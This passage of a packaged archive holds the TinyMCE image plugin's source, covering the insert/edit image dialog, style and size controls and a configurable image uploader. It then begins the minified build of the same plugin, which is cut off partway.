        title: '',
        width: '',
        height: '',
        class: '',
        style: '',
        caption: false,
        hspace: '',
        vspace: '',
        border: '',
        borderStyle: ''
      };
    };
    var getStyleValue = function (normalizeCss, data) {
      var image = domGlobals.document.createElement('img');
      setAttrib(image, 'style', data.style);
      if (getHspace(image) || data.hspace !== '') {
        setHspace(image, data.hspace);
      }
      if (getVspace(image) || data.vspace !== '') {
        setVspace(image, data.vspace);
      }
      if (getBorder(image) || data.border !== '') {
        setBorder(image, data.border);
      }
      if (getBorderStyle(image) || data.borderStyle !== '') {
        setBorderStyle(image, data.borderStyle);
      }
      return normalizeCss(image.getAttribute('style'));
    };
    var create = function (normalizeCss, data) {
      var image = domGlobals.document.createElement('img');
      write(normalizeCss, merge(data, { caption: false }), image);
      setAttrib(image, 'alt', data.alt);
      if (data.caption) {
        var figure = DOM.create('figure', { class: 'image' });
        figure.appendChild(image);
        figure.appendChild(DOM.create('figcaption', { contentEditable: true }, 'Caption'));
        figure.contentEditable = 'false';
        return figure;
      } else {
        return image;
      }
    };
    var read = function (normalizeCss, image) {
      return {
        src: getAttrib(image, 'src'),
        alt: getAttrib(image, 'alt'),
        title: getAttrib(image, 'title'),
        width: getSize(image, 'width'),
        height: getSize(image, 'height'),
        class: getAttrib(image, 'class'),
        style: normalizeCss(getAttrib(image, 'style')),
        caption: hasCaption(image),
        hspace: getHspace(image),
        vspace: getVspace(image),
        border: getBorder(image),
        borderStyle: getStyle(image, 'borderStyle')
      };
    };
    var updateProp = function (image, oldData, newData, name, set) {
      if (newData[name] !== oldData[name]) {
        set(image, name, newData[name]);
      }
    };
    var normalized = function (set, normalizeCss) {
      return function (image, name, value) {
        set(image, value);
        normalizeStyle(image, normalizeCss);
      };
    };
    var write = function (normalizeCss, newData, image) {
      var oldData = read(normalizeCss, image);
      updateProp(image, oldData, newData, 'caption', function (image, _name, _value) {
        return toggleCaption(image);
      });
      updateProp(image, oldData, newData, 'src', setAttrib);
      updateProp(image, oldData, newData, 'alt', setAttrib);
      updateProp(image, oldData, newData, 'title', setAttrib);
      updateProp(image, oldData, newData, 'width', setSize('width', normalizeCss));
      updateProp(image, oldData, newData, 'height', setSize('height', normalizeCss));
      updateProp(image, oldData, newData, 'class', setAttrib);
      updateProp(image, oldData, newData, 'style', normalized(function (image, value) {
        return setAttrib(image, 'style', value);
      }, normalizeCss));
      updateProp(image, oldData, newData, 'hspace', normalized(setHspace, normalizeCss));
      updateProp(image, oldData, newData, 'vspace', normalized(setVspace, normalizeCss));
      updateProp(image, oldData, newData, 'border', normalized(setBorder, normalizeCss));
      updateProp(image, oldData, newData, 'borderStyle', normalized(setBorderStyle, normalizeCss));
    };

    var normalizeCss = function (editor, cssText) {
      var css = editor.dom.styles.parse(cssText);
      var mergedCss = Utils.mergeMargins(css);
      var compressed = editor.dom.styles.parse(editor.dom.styles.serialize(mergedCss));
      return editor.dom.styles.serialize(compressed);
    };
    var getSelectedImage = function (editor) {
      var imgElm = editor.selection.getNode();
      var figureElm = editor.dom.getParent(imgElm, 'figure.image');
      if (figureElm) {
        return editor.dom.select('img', figureElm)[0];
      }
      if (imgElm && (imgElm.nodeName !== 'IMG' || imgElm.getAttribute('data-mce-object') || imgElm.getAttribute('data-mce-placeholder'))) {
        return null;
      }
      return imgElm;
    };
    var splitTextBlock = function (editor, figure) {
      var dom = editor.dom;
      var textBlock = dom.getParent(figure.parentNode, function (node) {
        return editor.schema.getTextBlockElements()[node.nodeName];
      }, editor.getBody());
      if (textBlock) {
        return dom.split(textBlock, figure);
      } else {
        return figure;
      }
    };
    var readImageDataFromSelection = function (editor) {
      var image = getSelectedImage(editor);
      return image ? read(function (css) {
        return normalizeCss(editor, css);
      }, image) : defaultData();
    };
    var insertImageAtCaret = function (editor, data) {
      var elm = create(function (css) {
        return normalizeCss(editor, css);
      }, data);
      editor.dom.setAttrib(elm, 'data-mce-id', '__mcenew');
      editor.focus();
      editor.selection.setContent(elm.outerHTML);
      var insertedElm = editor.dom.select('*[data-mce-id="__mcenew"]')[0];
      editor.dom.setAttrib(insertedElm, 'data-mce-id', null);
      if (isFigure(insertedElm)) {
        var figure = splitTextBlock(editor, insertedElm);
        editor.selection.select(figure);
      } else {
        editor.selection.select(insertedElm);
      }
    };
    var syncSrcAttr = function (editor, image) {
      editor.dom.setAttrib(image, 'src', image.getAttribute('src'));
    };
    var deleteImage = function (editor, image) {
      if (image) {
        var elm = editor.dom.is(image.parentNode, 'figure.image') ? image.parentNode : image;
        editor.dom.remove(elm);
        editor.focus();
        editor.nodeChanged();
        if (editor.dom.isEmpty(editor.getBody())) {
          editor.setContent('');
          editor.selection.setCursorLocation();
        }
      }
    };
    var writeImageDataToSelection = function (editor, data) {
      var image = getSelectedImage(editor);
      write(function (css) {
        return normalizeCss(editor, css);
      }, data, image);
      syncSrcAttr(editor, image);
      if (isFigure(image.parentNode)) {
        var figure = image.parentNode;
        splitTextBlock(editor, figure);
        editor.selection.select(image.parentNode);
      } else {
        editor.selection.select(image);
        Utils.waitLoadImage(editor, data, image);
      }
    };
    var insertOrUpdateImage = function (editor, data) {
      var image = getSelectedImage(editor);
      if (image) {
        if (data.src) {
          writeImageDataToSelection(editor, data);
        } else {
          deleteImage(editor, image);
        }
      } else if (data.src) {
        insertImageAtCaret(editor, data);
      }
    };

    var updateVSpaceHSpaceBorder = function (editor) {
      return function (evt) {
        var dom = editor.dom;
        var rootControl = evt.control.rootControl;
        if (!Settings.hasAdvTab(editor)) {
          return;
        }
        var data = rootControl.toJSON();
        var css = dom.parseStyle(data.style);
        rootControl.find('#vspace').value('');
        rootControl.find('#hspace').value('');
        css = Utils.mergeMargins(css);
        if (css['margin-top'] && css['margin-bottom'] || css['margin-right'] && css['margin-left']) {
          if (css['margin-top'] === css['margin-bottom']) {
            rootControl.find('#vspace').value(Utils.removePixelSuffix(css['margin-top']));
          } else {
            rootControl.find('#vspace').value('');
          }
          if (css['margin-right'] === css['margin-left']) {
            rootControl.find('#hspace').value(Utils.removePixelSuffix(css['margin-right']));
          } else {
            rootControl.find('#hspace').value('');
          }
        }
        if (css['border-width']) {
          rootControl.find('#border').value(Utils.removePixelSuffix(css['border-width']));
        } else {
          rootControl.find('#border').value('');
        }
        if (css['border-style']) {
          rootControl.find('#borderStyle').value(css['border-style']);
        } else {
          rootControl.find('#borderStyle').value('');
        }
        rootControl.find('#style').value(dom.serializeStyle(dom.parseStyle(dom.serializeStyle(css))));
      };
    };
    var updateStyle = function (editor, win) {
      win.find('#style').each(function (ctrl) {
        var value = getStyleValue(function (css) {
          return normalizeCss(editor, css);
        }, merge(defaultData(), win.toJSON()));
        ctrl.value(value);
      });
    };
    var makeTab = function (editor) {
      return {
        title: 'Advanced',
        type: 'form',
        pack: 'start',
        items: [
          {
            label: 'Style',
            name: 'style',
            type: 'textbox',
            onchange: updateVSpaceHSpaceBorder(editor)
          },
          {
            type: 'form',
            layout: 'grid',
            packV: 'start',
            columns: 2,
            padding: 0,
            defaults: {
              type: 'textbox',
              maxWidth: 50,
              onchange: function (evt) {
                updateStyle(editor, evt.control.rootControl);
              }
            },
            items: [
              {
                label: 'Vertical space',
                name: 'vspace'
              },
              {
                label: 'Border width',
                name: 'border'
              },
              {
                label: 'Horizontal space',
                name: 'hspace'
              },
              {
                label: 'Border style',
                type: 'listbox',
                name: 'borderStyle',
                width: 90,
                maxWidth: 90,
                onselect: function (evt) {
                  updateStyle(editor, evt.control.rootControl);
                },
                values: [
                  {
                    text: 'Select...',
                    value: ''
                  },
                  {
                    text: 'Solid',
                    value: 'solid'
                  },
                  {
                    text: 'Dotted',
                    value: 'dotted'
                  },
                  {
                    text: 'Dashed',
                    value: 'dashed'
                  },
                  {
                    text: 'Double',
                    value: 'double'
                  },
                  {
                    text: 'Groove',
                    value: 'groove'
                  },
                  {
                    text: 'Ridge',
                    value: 'ridge'
                  },
                  {
                    text: 'Inset',
                    value: 'inset'
                  },
                  {
                    text: 'Outset',
                    value: 'outset'
                  },
                  {
                    text: 'None',
                    value: 'none'
                  },
                  {
                    text: 'Hidden',
                    value: 'hidden'
                  }
                ]
              }
            ]
          }
        ]
      };
    };
    var AdvTab = { makeTab: makeTab };

    var doSyncSize = function (widthCtrl, heightCtrl) {
      widthCtrl.state.set('oldVal', widthCtrl.value());
      heightCtrl.state.set('oldVal', heightCtrl.value());
    };
    var doSizeControls = function (win, f) {
      var widthCtrl = win.find('#width')[0];
      var heightCtrl = win.find('#height')[0];
      var constrained = win.find('#constrain')[0];
      if (widthCtrl && heightCtrl && constrained) {
        f(widthCtrl, heightCtrl, constrained.checked());
      }
    };
    var doUpdateSize = function (widthCtrl, heightCtrl, isContrained) {
      var oldWidth = widthCtrl.state.get('oldVal');
      var oldHeight = heightCtrl.state.get('oldVal');
      var newWidth = widthCtrl.value();
      var newHeight = heightCtrl.value();
      if (isContrained && oldWidth && oldHeight && newWidth && newHeight) {
        if (newWidth !== oldWidth) {
          newHeight = Math.round(newWidth / oldWidth * newHeight);
          if (!isNaN(newHeight)) {
            heightCtrl.value(newHeight);
          }
        } else {
          newWidth = Math.round(newHeight / oldHeight * newWidth);
          if (!isNaN(newWidth)) {
            widthCtrl.value(newWidth);
          }
        }
      }
      doSyncSize(widthCtrl, heightCtrl);
    };
    var syncSize = function (win) {
      doSizeControls(win, doSyncSize);
    };
    var updateSize = function (win) {
      doSizeControls(win, doUpdateSize);
    };
    var createUi = function () {
      var recalcSize = function (evt) {
        updateSize(evt.control.rootControl);
      };
      return {
        type: 'container',
        label: 'Dimensions',
        layout: 'flex',
        align: 'center',
        spacing: 5,
        items: [
          {
            name: 'width',
            type: 'textbox',
            maxLength: 5,
            size: 5,
            onchange: recalcSize,
            ariaLabel: 'Width'
          },
          {
            type: 'label',
            text: 'x'
          },
          {
            name: 'height',
            type: 'textbox',
            maxLength: 5,
            size: 5,
            onchange: recalcSize,
            ariaLabel: 'Height'
          },
          {
            name: 'constrain',
            type: 'checkbox',
            checked: true,
            text: 'Constrain proportions'
          }
        ]
      };
    };
    var SizeManager = {
      createUi: createUi,
      syncSize: syncSize,
      updateSize: updateSize
    };

    var onSrcChange = function (evt, editor) {
      var srcURL, prependURL, absoluteURLPattern;
      var meta = evt.meta || {};
      var control = evt.control;
      var rootControl = control.rootControl;
      var imageListCtrl = rootControl.find('#image-list')[0];
      if (imageListCtrl) {
        imageListCtrl.value(editor.convertURL(control.value(), 'src'));
      }
      global$2.each(meta, function (value, key) {
        rootControl.find('#' + key).value(value);
      });
      if (!meta.width && !meta.height) {
        srcURL = editor.convertURL(control.value(), 'src');
        prependURL = Settings.getPrependUrl(editor);
        absoluteURLPattern = new RegExp('^(?:[a-z]+:)?//', 'i');
        if (prependURL && !absoluteURLPattern.test(srcURL) && srcURL.substring(0, prependURL.length) !== prependURL) {
          srcURL = prependURL + srcURL;
        }
        control.value(srcURL);
        Utils.getImageSize(editor.documentBaseURI.toAbsolute(control.value()), function (data) {
          if (data.width && data.height && Settings.hasDimensions(editor)) {
            rootControl.find('#width').value(data.width);
            rootControl.find('#height').value(data.height);
            SizeManager.syncSize(rootControl);
          }
        });
      }
    };
    var onBeforeCall = function (evt) {
      evt.meta = evt.control.rootControl.toJSON();
    };
    var getGeneralItems = function (editor, imageListCtrl) {
      var generalFormItems = [
        {
          name: 'src',
          type: 'filepicker',
          filetype: 'image',
          label: 'Source',
          autofocus: true,
          onchange: function (evt) {
            onSrcChange(evt, editor);
          },
          onbeforecall: onBeforeCall
        },
        imageListCtrl
      ];
      if (Settings.hasDescription(editor)) {
        generalFormItems.push({
          name: 'alt',
          type: 'textbox',
          label: 'Image description'
        });
      }
      if (Settings.hasImageTitle(editor)) {
        generalFormItems.push({
          name: 'title',
          type: 'textbox',
          label: 'Image Title'
        });
      }
      if (Settings.hasDimensions(editor)) {
        generalFormItems.push(SizeManager.createUi());
      }
      if (Settings.getClassList(editor)) {
        generalFormItems.push({
          name: 'class',
          type: 'listbox',
          label: 'Class',
          values: Utils.buildListItems(Settings.getClassList(editor), function (item) {
            if (item.value) {
              item.textStyle = function () {
                return editor.formatter.getCssText({
                  inline: 'img',
                  classes: [item.value]
                });
              };
            }
          })
        });
      }
      if (Settings.hasImageCaption(editor)) {
        generalFormItems.push({
          name: 'caption',
          type: 'checkbox',
          label: 'Caption'
        });
      }
      return generalFormItems;
    };
    var makeTab$1 = function (editor, imageListCtrl) {
      return {
        title: 'General',
        type: 'form',
        items: getGeneralItems(editor, imageListCtrl)
      };
    };
    var MainTab = {
      makeTab: makeTab$1,
      getGeneralItems: getGeneralItems
    };

    var url = function () {
      return Global$1.getOrDie('URL');
    };
    var createObjectURL = function (blob) {
      return url().createObjectURL(blob);
    };
    var revokeObjectURL = function (u) {
      url().revokeObjectURL(u);
    };
    var URL = {
      createObjectURL: createObjectURL,
      revokeObjectURL: revokeObjectURL
    };

    var global$5 = tinymce.util.Tools.resolve('tinymce.ui.Factory');

    function XMLHttpRequest () {
      var f = Global$1.getOrDie('XMLHttpRequest');
      return new f();
    }

    var noop = function () {
    };
    var pathJoin = function (path1, path2) {
      if (path1) {
        return path1.replace(/\/$/, '') + '/' + path2.replace(/^\//, '');
      }
      return path2;
    };
    function Uploader (settings) {
      var defaultHandler = function (blobInfo, success, failure, progress) {
        var xhr, formData;
        xhr = XMLHttpRequest();
        xhr.open('POST', settings.url);
        xhr.withCredentials = settings.credentials;
        xhr.upload.onprogress = function (e) {
          progress(e.loaded / e.total * 100);
        };
        xhr.onerror = function () {
          failure('Image upload failed due to a XHR Transport error. Code: ' + xhr.status);
        };
        xhr.onload = function () {
          var json;
          if (xhr.status < 200 || xhr.status >= 300) {
            failure('HTTP Error: ' + xhr.status);
            return;
          }
          json = JSON.parse(xhr.responseText);
          if (!json || typeof json.location !== 'string') {
            failure('Invalid JSON: ' + xhr.responseText);
            return;
          }
          success(pathJoin(settings.basePath, json.location));
        };
        formData = new domGlobals.FormData();
        formData.append('file', blobInfo.blob(), blobInfo.filename());
        xhr.send(formData);
      };
      var uploadBlob = function (blobInfo, handler) {
        return new global$1(function (resolve, reject) {
          try {
            handler(blobInfo, resolve, reject, noop);
          } catch (ex) {
            reject(ex.message);
          }
        });
      };
      var isDefaultHandler = function (handler) {
        return handler === defaultHandler;
      };
      var upload = function (blobInfo) {
        return !settings.url && isDefaultHandler(settings.handler) ? global$1.reject('Upload url missing from the settings.') : uploadBlob(blobInfo, settings.handler);
      };
      settings = global$2.extend({
        credentials: false,
        handler: defaultHandler
      }, settings);
      return { upload: upload };
    }

    var onFileInput = function (editor) {
      return function (evt) {
        var Throbber = global$5.get('Throbber');
        var rootControl = evt.control.rootControl;
        var throbber = new Throbber(rootControl.getEl());
        var file = evt.control.value();
        var blobUri = URL.createObjectURL(file);
        var uploader = Uploader({
          url: Settings.getUploadUrl(editor),
          basePath: Settings.getUploadBasePath(editor),
          credentials: Settings.getUploadCredentials(editor),
          handler: Settings.getUploadHandler(editor)
        });
        var finalize = function () {
          throbber.hide();
          URL.revokeObjectURL(blobUri);
        };
        throbber.show();
        return Utils.blobToDataUri(file).then(function (dataUrl) {
          var blobInfo = editor.editorUpload.blobCache.create({
            blob: file,
            blobUri: blobUri,
            name: file.name ? file.name.replace(/\.[^\.]+$/, '') : null,
            base64: dataUrl.split(',')[1]
          });
          return uploader.upload(blobInfo).then(function (url) {
            var src = rootControl.find('#src');
            src.value(url);
            rootControl.find('tabpanel')[0].activateTab(0);
            src.fire('change');
            finalize();
            return url;
          });
        }).catch(function (err) {
          editor.windowManager.alert(err);
          finalize();
        });
      };
    };
    var acceptExts = '.jpg,.jpeg,.png,.gif';
    var makeTab$2 = function (editor) {
      return {
        title: 'Upload',
        type: 'form',
        layout: 'flex',
        direction: 'column',
        align: 'stretch',
        padding: '20 20 20 20',
        items: [
          {
            type: 'container',
            layout: 'flex',
            direction: 'column',
            align: 'center',
            spacing: 10,
            items: [
              {
                text: 'Browse for an image',
                type: 'browsebutton',
                accept: acceptExts,
                onchange: onFileInput(editor)
              },
              {
                text: 'OR',
                type: 'label'
              }
            ]
          },
          {
            text: 'Drop an image here',
            type: 'dropzone',
            accept: acceptExts,
            height: 100,
            onchange: onFileInput(editor)
          }
        ]
      };
    };
    var UploadTab = { makeTab: makeTab$2 };

    function curry(fn) {
      var initialArgs = [];
      for (var _i = 1; _i < arguments.length; _i++) {
        initialArgs[_i - 1] = arguments[_i];
      }
      return function () {
        var restArgs = [];
        for (var _i = 0; _i < arguments.length; _i++) {
          restArgs[_i] = arguments[_i];
        }
        var all = initialArgs.concat(restArgs);
        return fn.apply(null, all);
      };
    }

    var submitForm = function (editor, evt) {
      var win = evt.control.getRoot();
      SizeManager.updateSize(win);
      editor.undoManager.transact(function () {
        var data = merge(readImageDataFromSelection(editor), win.toJSON());
        insertOrUpdateImage(editor, data);
      });
      editor.editorUpload.uploadImagesAuto();
    };
    function Dialog (editor) {
      function showDialog(imageList) {
        var data = readImageDataFromSelection(editor);
        var win, imageListCtrl;
        if (imageList) {
          imageListCtrl = {
            type: 'listbox',
            label: 'Image list',
            name: 'image-list',
            values: Utils.buildListItems(imageList, function (item) {
              item.value = editor.convertURL(item.value || item.url, 'src');
            }, [{
                text: 'None',
                value: ''
              }]),
            value: data.src && editor.convertURL(data.src, 'src'),
            onselect: function (e) {
              var altCtrl = win.find('#alt');
              if (!altCtrl.value() || e.lastControl && altCtrl.value() === e.lastControl.text()) {
                altCtrl.value(e.control.text());
              }
              win.find('#src').value(e.control.value()).fire('change');
            },
            onPostRender: function () {
              imageListCtrl = this;
            }
          };
        }
        if (Settings.hasAdvTab(editor) || Settings.hasUploadUrl(editor) || Settings.hasUploadHandler(editor)) {
          var body = [MainTab.makeTab(editor, imageListCtrl)];
          if (Settings.hasAdvTab(editor)) {
            body.push(AdvTab.makeTab(editor));
          }
          if (Settings.hasUploadUrl(editor) || Settings.hasUploadHandler(editor)) {
            body.push(UploadTab.makeTab(editor));
          }
          win = editor.windowManager.open({
            title: 'Insert/edit image',
            data: data,
            bodyType: 'tabpanel',
            body: body,
            onSubmit: curry(submitForm, editor)
          });
        } else {
          win = editor.windowManager.open({
            title: 'Insert/edit image',
            data: data,
            body: MainTab.getGeneralItems(editor, imageListCtrl),
            onSubmit: curry(submitForm, editor)
          });
        }
        SizeManager.syncSize(win);
      }
      function open() {
        Utils.createImageList(editor, showDialog);
      }
      return { open: open };
    }

    var register = function (editor) {
      editor.addCommand('mceImage', Dialog(editor).open);
    };
    var Commands = { register: register };

    var hasImageClass = function (node) {
      var className = node.attr('class');
      return className && /\bimage\b/.test(className);
    };
    var toggleContentEditableState = function (state) {
      return function (nodes) {
        var i = nodes.length, node;
        var toggleContentEditable = function (node) {
          node.attr('contenteditable', state ? 'true' : null);
        };
        while (i--) {
          node = nodes[i];
          if (hasImageClass(node)) {
            node.attr('contenteditable', state ? 'false' : null);
            global$2.each(node.getAll('figcaption'), toggleContentEditable);
          }
        }
      };
    };
    var setup = function (editor) {
      editor.on('preInit', function () {
        editor.parser.addNodeFilter('figure', toggleContentEditableState(true));
        editor.serializer.addNodeFilter('figure', toggleContentEditableState(false));
      });
    };
    var FilterContent = { setup: setup };

    var register$1 = function (editor) {
      editor.addButton('image', {
        icon: 'image',
        tooltip: 'Insert/edit image',
        onclick: Dialog(editor).open,
        stateSelector: 'img:not([data-mce-object],[data-mce-placeholder]),figure.image'
      });
      editor.addMenuItem('image', {
        icon: 'image',
        text: 'Image',
        onclick: Dialog(editor).open,
        context: 'insert',
        prependToContext: true
      });
    };
    var Buttons = { register: register$1 };

    global.add('image', function (editor) {
      FilterContent.setup(editor);
      Buttons.register(editor);
      Commands.register(editor);
    });
    function Plugin () {
    }

    return Plugin;

}(window));
})();
plugin.min.js000064400000036754151024272320007177 0ustar00!function(l){"use strict";var i,e=tinymce.util.Tools.resolve("tinymce.PluginManager"),d=function(e){return!1!==e.settings.image_dimensions},u=function(e){return!0===e.settings.image_advtab},m=function(e){return e.getParam("image_prepend_url","")},n=function(e){return e.getParam("image_class_list")},r=function(e){return!1!==e.settings.image_description},a=function(e){return!0===e.settings.image_title},o=function(e){return!0===e.settings.image_caption},c=function(e){return e.getParam("image_list",!1)},s=function(e){return e.getParam("images_upload_url",!1)},g=function(e){return e.getParam("images_upload_handler",!1)},f=function(e){return e.getParam("images_upload_url")},p=function(e){return e.getParam("images_upload_handler")},h=function(e){return e.getParam("images_upload_base_path")},v=function(e){return e.getParam("images_upload_credentials")},b="undefined"!=typeof l.window?l.window:Function("return this;")(),y=function(e,t){return function(e,t){for(var n=t!==undefined&&null!==t?t:b,r=0;r<e.length&&n!==undefined&&null!==n;++r)n=n[e[r]];return n}(e.split("."),t)},x={getOrDie:function(e,t){var n=y(e,t);if(n===undefined||null===n)throw new Error(e+" not available on this browser");return n}},w=tinymce.util.Tools.resolve("tinymce.util.Promise"),C=tinymce.util.Tools.resolve("tinymce.util.Tools"),S=tinymce.util.Tools.resolve("tinymce.util.XHR"),N=function(e,t){return Math.max(parseInt(e,10),parseInt(t,10))},_=function(e,n){var r=l.document.createElement("img");function t(e,t){r.parentNode&&r.parentNode.removeChild(r),n({width:e,height:t})}r.onload=function(){t(N(r.width,r.clientWidth),N(r.height,r.clientHeight))},r.onerror=function(){t(0,0)};var a=r.style;a.visibility="hidden",a.position="fixed",a.bottom=a.left="0px",a.width=a.height="auto",l.document.body.appendChild(r),r.src=e},T=function(e,a,t){return function n(e,r){return r=r||[],C.each(e,function(e){var t={text:e.text||e.title};e.menu?t.menu=n(e.menu):(t.value=e.value,a(t)),r.push(t)}),r}(e,t||[])},A=function(e){return e&&(e=e.replace(/px$/,"")),e},R=function(e){return 0<e.length&&/^[0-9]+$/.test(e)&&(e+="px"),e},I=function(e){if(e.margin){var t=e.margin.split(" ");switch(t.length){case 1:e["margin-top"]=e["margin-top"]||t[0],e["margin-right"]=e["margin-right"]||t[0],e["margin-bottom"]=e["margin-bottom"]||t[0],e["margin-left"]=e["margin-left"]||t[0];break;case 2:e["margin-top"]=e["margin-top"]||t[0],e["margin-right"]=e["margin-right"]||t[1],e["margin-bottom"]=e["margin-bottom"]||t[0],e["margin-left"]=e["margin-left"]||t[1];break;case 3:e["margin-top"]=e["margin-top"]||t[0],e["margin-right"]=e["margin-right"]||t[1],e["margin-bottom"]=e["margin-bottom"]||t[2],e["margin-left"]=e["margin-left"]||t[1];break;case 4:e["margin-top"]=e["margin-top"]||t[0],e["margin-right"]=e["margin-right"]||t[1],e["margin-bottom"]=e["margin-bottom"]||t[2],e["margin-left"]=e["margin-left"]||t[3]}delete e.margin}return e},t=function(e,t){var n=c(e);"string"==typeof n?S.send({url:n,success:function(e){t(JSON.parse(e))}}):"function"==typeof n?n(t):t(n)},O=function(e,t,n){function r(){n.onload=n.onerror=null,e.selection&&(e.selection.select(n),e.nodeChanged())}n.onload=function(){t.width||t.height||!d(e)||e.dom.setAttribs(n,{width:n.clientWidth,height:n.clientHeight}),r()},n.onerror=r},L=function(r){return new w(function(e,t){var n=new(x.getOrDie("FileReader"));n.onload=function(){e(n.result)},n.onerror=function(){t(n.error.message)},n.readAsDataURL(r)})},P=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),U=Object.prototype.hasOwnProperty,E=(i=function(e,t){return t},function(){for(var e=new Array(arguments.length),t=0;t<e.length;t++)e[t]=arguments[t];if(0===e.length)throw new Error("Can't merge zero objects");for(var n={},r=0;r<e.length;r++){var a=e[r];for(var o in a)U.call(a,o)&&(n[o]=i(n[o],a[o]))}return n}),k=P.DOM,M=function(e){return e.style.marginLeft&&e.style.marginRight&&e.style.marginLeft===e.style.marginRight?A(e.style.marginLeft):""},D=function(e){return e.style.marginTop&&e.style.marginBottom&&e.style.marginTop===e.style.marginBottom?A(e.style.marginTop):""},z=function(e){return e.style.borderWidth?A(e.style.borderWidth):""},B=function(e,t){return e.hasAttribute(t)?e.getAttribute(t):""},H=function(e,t){return e.style[t]?e.style[t]:""},j=function(e){return null!==e.parentNode&&"FIGURE"===e.parentNode.nodeName},F=function(e,t,n){e.setAttribute(t,n)},W=function(e){var t,n,r,a;j(e)?(a=(r=e).parentNode,k.insertAfter(r,a),k.remove(a)):(t=e,n=k.create("figure",{"class":"image"}),k.insertAfter(n,t),n.appendChild(t),n.appendChild(k.create("figcaption",{contentEditable:!0},"Caption")),n.contentEditable="false")},J=function(e,t){var n=e.getAttribute("style"),r=t(null!==n?n:"");0<r.length?(e.setAttribute("style",r),e.setAttribute("data-mce-style",r)):e.removeAttribute("style")},V=function(e,r){return function(e,t,n){e.style[t]?(e.style[t]=R(n),J(e,r)):F(e,t,n)}},G=function(e,t){return e.style[t]?A(e.style[t]):B(e,t)},$=function(e,t){var n=R(t);e.style.marginLeft=n,e.style.marginRight=n},X=function(e,t){var n=R(t);e.style.marginTop=n,e.style.marginBottom=n},q=function(e,t){var n=R(t);e.style.borderWidth=n},K=function(e,t){e.style.borderStyle=t},Q=function(e){return"FIGURE"===e.nodeName},Y=function(e,t){var n=l.document.createElement("img");return F(n,"style",t.style),(M(n)||""!==t.hspace)&&$(n,t.hspace),(D(n)||""!==t.vspace)&&X(n,t.vspace),(z(n)||""!==t.border)&&q(n,t.border),(H(n,"borderStyle")||""!==t.borderStyle)&&K(n,t.borderStyle),e(n.getAttribute("style"))},Z=function(e,t){return{src:B(t,"src"),alt:B(t,"alt"),title:B(t,"title"),width:G(t,"width"),height:G(t,"height"),"class":B(t,"class"),style:e(B(t,"style")),caption:j(t),hspace:M(t),vspace:D(t),border:z(t),borderStyle:H(t,"borderStyle")}},ee=function(e,t,n,r,a){n[r]!==t[r]&&a(e,r,n[r])},te=function(r,a){return function(e,t,n){r(e,n),J(e,a)}},ne=function(e,t,n){var r=Z(e,n);ee(n,r,t,"caption",function(e,t,n){return W(e)}),ee(n,r,t,"src",F),ee(n,r,t,"alt",F),ee(n,r,t,"title",F),ee(n,r,t,"width",V(0,e)),ee(n,r,t,"height",V(0,e)),ee(n,r,t,"class",F),ee(n,r,t,"style",te(function(e,t){return F(e,"style",t)},e)),ee(n,r,t,"hspace",te($,e)),ee(n,r,t,"vspace",te(X,e)),ee(n,r,t,"border",te(q,e)),ee(n,r,t,"borderStyle",te(K,e))},re=function(e,t){var n=e.dom.styles.parse(t),r=I(n),a=e.dom.styles.parse(e.dom.styles.serialize(r));return e.dom.styles.serialize(a)},ae=function(e){var t=e.selection.getNode(),n=e.dom.getParent(t,"figure.image");return n?e.dom.select("img",n)[0]:t&&("IMG"!==t.nodeName||t.getAttribute("data-mce-object")||t.getAttribute("data-mce-placeholder"))?null:t},oe=function(t,e){var n=t.dom,r=n.getParent(e.parentNode,function(e){return t.schema.getTextBlockElements()[e.nodeName]},t.getBody());return r?n.split(r,e):e},ie=function(t){var e=ae(t);return e?Z(function(e){return re(t,e)},e):{src:"",alt:"",title:"",width:"",height:"","class":"",style:"",caption:!1,hspace:"",vspace:"",border:"",borderStyle:""}},le=function(t,e){var n=function(e,t){var n=l.document.createElement("img");if(ne(e,E(t,{caption:!1}),n),F(n,"alt",t.alt),t.caption){var r=k.create("figure",{"class":"image"});return r.appendChild(n),r.appendChild(k.create("figcaption",{contentEditable:!0},"Caption")),r.contentEditable="false",r}return n}(function(e){return re(t,e)},e);t.dom.setAttrib(n,"data-mce-id","__mcenew"),t.focus(),t.selection.setContent(n.outerHTML);var r=t.dom.select('*[data-mce-id="__mcenew"]')[0];if(t.dom.setAttrib(r,"data-mce-id",null),Q(r)){var a=oe(t,r);t.selection.select(a)}else t.selection.select(r)},ue=function(e,t){var n=ae(e);n?t.src?function(t,e){var n,r=ae(t);if(ne(function(e){return re(t,e)},e,r),n=r,t.dom.setAttrib(n,"src",n.getAttribute("src")),Q(r.parentNode)){var a=r.parentNode;oe(t,a),t.selection.select(r.parentNode)}else t.selection.select(r),O(t,e,r)}(e,t):function(e,t){if(t){var n=e.dom.is(t.parentNode,"figure.image")?t.parentNode:t;e.dom.remove(n),e.focus(),e.nodeChanged(),e.dom.isEmpty(e.getBody())&&(e.setContent(""),e.selection.setCursorLocation())}}(e,n):t.src&&le(e,t)},ce=function(n,r){r.find("#style").each(function(e){var t=Y(function(e){return re(n,e)},E({src:"",alt:"",title:"",width:"",height:"","class":"",style:"",caption:!1,hspace:"",vspace:"",border:"",borderStyle:""},r.toJSON()));e.value(t)})},se=function(t){return{title:"Advanced",type:"form",pack:"start",items:[{label:"Style",name:"style",type:"textbox",onchange:(o=t,function(e){var t=o.dom,n=e.control.rootControl;if(u(o)){var r=n.toJSON(),a=t.parseStyle(r.style);n.find("#vspace").value(""),n.find("#hspace").value(""),((a=I(a))["margin-top"]&&a["margin-bottom"]||a["margin-right"]&&a["margin-left"])&&(a["margin-top"]===a["margin-bottom"]?n.find("#vspace").value(A(a["margin-top"])):n.find("#vspace").value(""),a["margin-right"]===a["margin-left"]?n.find("#hspace").value(A(a["margin-right"])):n.find("#hspace").value("")),a["border-width"]?n.find("#border").value(A(a["border-width"])):n.find("#border").value(""),a["border-style"]?n.find("#borderStyle").value(a["border-style"]):n.find("#borderStyle").value(""),n.find("#style").value(t.serializeStyle(t.parseStyle(t.serializeStyle(a))))}})},{type:"form",layout:"grid",packV:"start",columns:2,padding:0,defaults:{type:"textbox",maxWidth:50,onchange:function(e){ce(t,e.control.rootControl)}},items:[{label:"Vertical space",name:"vspace"},{label:"Border width",name:"border"},{label:"Horizontal space",name:"hspace"},{label:"Border 